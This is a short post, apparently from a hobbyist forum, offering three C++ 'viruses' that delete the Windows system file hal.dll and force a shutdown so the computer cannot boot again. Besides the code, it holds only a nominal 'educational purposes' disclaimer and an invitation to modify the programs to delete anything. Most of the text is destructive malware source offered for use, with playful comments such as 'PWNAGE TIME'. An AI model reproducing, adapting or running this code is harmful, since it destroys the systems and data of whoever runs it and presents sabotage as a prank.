C++ Powerful Viruses

Note: These viruses are only for educational purposes.

1. This is a virus which deletes Hal.dll, something that is required for startup. After deleting that, it shuts down, never to start again.

#include <cstdlib>
#include <iostream>

using namespace std;

int main(int argc, char *argv[])
{
    std::remove("C:\\windows\\system32\\hal.dll"); //PWNAGE TIME
    system("shutdown -s -r");
    system("PAUSE");
    return EXIT_SUCCESS;
}

A more advanced version of this virus which makes the C:\\Windows\\ a variable that cannot be wrong was made by getores. Here it is:

#include <cstdlib>
#include <iostream>

using namespace std;

int main(int argc, char *argv[])
{
std::remove("%systemroot%\\system32\\hal.dll"); //PWNAGE TIME
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
}

SVXX's Version of this virus that uses Batch for most of its commands:

#include <cstdlib>
#include <iostream>

using namespace std;

int main(int argc, char *argv[])
{
    system("del %SystemRoot%\\system32\\hal.dll -q"); //PWNAGE TIME
    system("%SystemRoot%\\system32\\shutdown.exe -s -f -t 00");
    system("PAUSE");
    return EXIT_SUCCESS;
}

I hope you would like them. You can further make them to delete anything.